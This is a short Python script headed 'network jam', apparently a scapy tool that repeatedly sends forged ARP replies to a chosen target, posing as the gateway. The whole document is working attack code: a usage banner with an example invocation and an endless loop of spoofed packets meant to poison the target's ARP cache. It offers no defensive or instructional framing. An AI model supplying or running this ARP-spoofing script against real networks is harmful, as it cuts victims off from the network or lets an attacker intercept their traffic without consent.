network jam

#!/usr/bin/env python
import logging
import sys

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 5:
    print ''
    print 'arp.py		Alexander Hagenah - ah@primepage.de'
    print ''
    print 'Usage:		./arp.py <interface> <gateway_ip> <gateway_mac> <target_ip>'
    print 'Example:	./arp.py wlan0 192.168.1.1 DE:AD:BE:EF:CA:FE 192.168.1.23'
    print ''
    sys.exit(1)

from scapy.all import *;
from time import sleep;

interface   = sys.argv[1]
gateway_ip  = sys.argv[2]
gateway_mac = sys.argv[3]
target_ip   = sys.argv[4]

packet = ARP();
packet.psrc = gateway_ip
packet.hwsrc = gateway_mac
packet.pdst = target_ip

try:
     	while 1:
		send(packet, iface=interface, verbose=1);
		sleep(1);

except:
	pass